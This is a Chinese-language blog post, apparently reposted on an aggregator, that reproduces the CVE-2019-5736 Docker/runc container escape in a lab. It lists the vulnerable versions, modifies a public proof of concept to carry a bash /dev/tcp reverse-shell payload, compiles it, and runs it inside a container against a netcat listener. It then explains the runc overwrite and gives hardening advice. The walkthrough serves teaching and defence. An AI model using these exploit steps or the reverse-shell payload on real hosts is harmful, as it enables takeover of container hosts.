草庐IT

CVE漏洞复现-CVE-2019-5736 Docker逃逸

私ははいしゃ敗者です 2024-06-16 原文

CVE-2019-5736 Docker逃逸

Docker是什么?

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口

Docker环境和普通生产环境的差异在哪呢?举个列子,在普通的生产环境中,我们程序员写的代码产品在开发环境中能够运行起来,但却在测试环境中很容易出现各种的Bug,报错,这是因为两个环境中机器的配置和环境不一样所导致的

而Docker的出现解决了这一差异性的问题

在举一个列子,平时我们在做开发项目的时候,需要去配置一大堆的环境依赖,而当我们需要将项目迁移到其他主机或者平台的时候,那是不是也要将一大堆的配置环境依赖同样进行迁移,显得相当的麻烦

像平时我们在生产环境中,会去做集群,负载均衡,来让多台服务器共同承担一个责任,分摊访问流量的压力,当我们部署好一台服务器时,你还需要更多一摸一样的服务器,这个时候,你应该怎么办呢?是不是得将环境依赖什么的从头到尾重新安装一遍,是不是会非常麻烦

所以归根结底,突出两个问题,一是环境一致性的问题,二是重复配置,浪费时间的问题,所以Docker的出现解决了这两个问题

你可以把Docker理解成一个镜像,当我们需要在其他服务器上配置相同的项目环境时

我们使用Docker相当于复制了一个环境过去,极大解决了硬件环境所造成的环境差异性的问题和需要重复配置环境的问题


那我们Docker的概念是不是和虚拟机有些相同?那Docker和虚拟机的差异又在哪呢?

虚拟机和Docker的对比:

特性虚拟机容器
启动分钟级秒级
部署创建速度
硬盘使用一般为GB一般为MB
性能弱于原生系统,和监视器交互接近原生系统,和内核交互
资源利用率一般几十个单机支持上千各容器
隔离性系统级别隔离,更强进程之间的隔离,弱
安全性

容器技术发展历史:

Docker使用场景:

1、实现快速部署(镜像),例:vulhub.org
2、解决环境一致性的问题,例:部署应用
3、提升服务器的利用率,降低成本,例:安装服务
4、隔离不同的应用

Docker的组成

Docker组成:


核心概念:

  • 镜像Image:打包好的应用环境,模板,不能修改,列:Nginx、Tomcat、MySQL、桃宝商城、Ubuntu镜像
  • 容器Container:镜像+读写层,有状态:运行、暂停、停止
  • 仓库Registry:存放各种镜像,提供上传和下载,官方仓库:https://hub.docker.com

复现环境搭建说明

什么叫Docker逃逸?

Docker容器相当于一个小型的Linux操作系统,有自己磁盘、网络、进程、用户体系,而Docker逃逸就是我们由Docker权限获得到主机root权限的过程,简单来说就是从Docker的权限得到了部署Docker环境的主机的权限

Docker逃逸原因类型

1、由操作系统内核漏洞引起:CVE-2016-5195(脏牛)
2、由Docker本身的漏洞引起:CVE-2019-5736、CVE- 2019-14271
3、由Docker配置和使用不当引起

(1)开启privileged(特权模式)
(2)宿主机目录挂载(文件挂载)
(3)docket remote api未授权访问导致逃逸

参考链接:浅析docker的多种逃逸方法

CVE-2019-5736 环境搭建

漏洞条件:

root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6

现成靶机下载

链接:https://pan.baidu.com/s/19uXXlyAUUJLX4wJcwEAUgw?pwd=8888
靶机密码:123456 两个账户都是

Docker逃逸演示

复现环境

机器名IP
kali192.168.142.128
centos192.168.142.166

Kali机器开启监听

nc -lvnp 7777

靶机查看版本

docker -v
docker-runc -v

启动Docker服务(这一步需要输入密码123456)

service docker start

运行一个容器

docker run -it ubuntu:18.04 "/bin/bash"

下载编译利用脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd /home/kali/桌面/CVE-2019-5736-PoC-master

编辑POC文件

vim main.go

加入反弹shell的命令

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.128/7777 0>&1" + shellCmd

修改脚本编译脚本

首先安装go编译环境

yum install epel-release
yum install golang

编译poc

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

kali机器开启HTTP服务

python -m http.server 7987

centos机器下载poc

curl -O http://192.168.142.128/main

如图我们已经成功的向Docker的主机上传了Poc文件

然后由于我们要做的是容器逃逸,所以POC需要运行在容器环境中,所以我们需要将main.go文件拷贝到Docker环境中

查看容器

docker container ls -a

启动容器

docker start  501c

容器拷贝poc

docker cp ./main  501c:/home

进入Docker bash

docker exec -it 501c /bin/sh
cd /home
ls

在容器中执行poc

chmod 777 main
./main

centos以root身份再次进入Docker

docker exec -it 501c /bin/bash

docker容器执行反弹shell命令

kali机器收到监听会话

原理分析

在runc exec加入到容器的命名空间之后(runc运行原理),容器内进程已经能够通过内部/proc(虚拟文件系统)观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖。
下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。

总结:篡改了系统的runc文件,在其中加入恶意代码,在下一次run exec的时候导致恶意代码执行

Docker安全加固

Docker安全检测

自动化利用工具:https://github.com/cdk-team/CDK

这个工具可以检测Docker容器和K8S集群的一些漏洞

Docker加固建议

1、升级Docker到最新版
2、升级Linux内核
3、不建议以root权限运行Docker服务
4、不建议以privileged(特权模式)启动Docker
5、不建议将宿主机目录挂载至容器目录
6、不建议将容器以–cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

参考资料:https://mp.weixin.qq.com/s/R5DV0X3QpYmaxVxIexRYgA

有关CVE漏洞复现-CVE-2019-5736 Docker逃逸的更多相关文章

  1. Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting - 2

    1.错误信息:Errorresponsefromdaemon:Gethttps://registry-1.docker.io/v2/:net/http:requestcanceledwhilewaitingforconnection(Client.Timeoutexceededwhileawaitingheaders)或者:Errorresponsefromdaemon:Gethttps://registry-1.docker.io/v2/:net/http:TLShandshaketimeout2.报错原因:docker使用的镜像网址默认为国外,下载容易超时,需要修改成国内镜像地址(首先阿里

  2. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  3. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  4. ruby-on-rails - 私有(private) gem 没有安装在 docker 中 - 2

    我正在尝试使用docker运行一个Rails应用程序。通过github的sshurl安装的gem很少,如下所示:Gemfilegem'swagger-docs',:git=>'git@github.com:xyz/swagger-docs.git',:branch=>'my_branch'我在docker中添加了keys,它能够克隆所需的repo并从git安装gem。DockerfileRUNmkdir-p/root/.sshCOPY./id_rsa/root/.ssh/id_rsaRUNchmod700/root/.ssh/id_rsaRUNssh-keygen-f/root/.ss

  5. ruby-on-rails - 将 Heroku 环境变量传输到 Docker 实例 - 2

    我在Heroku上构建了一个必须在Docker容器内运行的RoR应用程序。为此,我使用officialDockerfile.因为它在Heroku中很常见,所以我需要一些附加组件才能使这个应用程序完全运行。在生产中,变量DATABASE_URL在我的应用程序中可用。但是,如果我尝试其他一些使用环境变量(在我的例子中是Mailtrap)的加载项,变量不会在运行时复制到实例中。所以我的问题很简单:如何让docker实例在Heroku上执行时知道环境变量?您可能会问,我已经知道我们可以在docker-compose.yml中指定一个environment指令。我想避免这种情况,以便能够通过项目

  6. ruby - 更新 gem 时 Docker 包安装缓存问题 - 2

    我在开发和生产中都使用docker,真正困扰我的一件事是docker缓存的简单性。我的ruby​​应用程序需要bundleinstall来安装依赖项,因此我从以下Dockerfile开始:添加GemfileGemfile添加Gemfile.lockGemfile.lock运行bundleinstall--path/root/bundle所有依赖项都被缓存,并且在我添加新gem之前效果很好。即使我添加的gem只有0.5MB,从头开始安装所有应用程序gem仍然需要10-15分钟。由于依赖项文件夹的大小(大约300MB),然后再花10分钟来部署它。我在node_modules和npm上遇到了

  7. 【详解】Docker安装Elasticsearch7.16.1集群 - 2

    开门见山|拉取镜像dockerpullelasticsearch:7.16.1|配置存放的目录#存放配置文件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/config#存放数据的文件夹mkdir-p/opt/docker/elasticsearch/node-1/data#存放运行日志的文件夹mkdir-p/opt/docker/elasticsearch/node-1/log#存放IK分词插件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/plugins若你使用了moba,直接右键新建即可如上图所示依次类推创建

  8. 转转测试环境docker化实践 - 2

        测试环境对于任何一个软件公司来讲,都是核心基础组件之一。转转的测试环境伴随着转转的发展也从单一的几套环境发展成现在的任意的docker动态环境+docker稳定环境环境体系。期间环境系统不断的演进,去适应转转集群扩张、新业务的扩展,走了一些弯路,但最终我们将系统升级到了我们认为的终极方案。下面我们介绍一下转转环境的演进和最终的解决方案。1测试环境演进1.1单体环境    转转在2017年成立之初,5台64G内存的机器,搭建5个完整的测试环境。就满足了转转的日常所需。一台分给开发,几台分给测试。通过沟通协调就能解决多分支并行开发下冲突问题。1.2动态环境+稳定环境    随着微服务化的进

  9. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  10. iOS适配Unity-2019 - 2

    iOS适配Unity-2019背景由于2019起,Unity的Xcode工程,更改了项目结构。Unity2018的结构:可以看Targets只有一个Unity-iPhone,Unity-iPhone直接依赖管理三方库。Unity2019以后:Targets多了一个UnityFramework,UnityFramework管理三方库,Unity-iPhone依赖于UnityFramwork。所以升级后,会有若干的问题,以下是对问题的解决方式。问题一错误描述error:exportArchive:Missingsigningidentifierat"/var/folders/fr//T/Xcode

随机推荐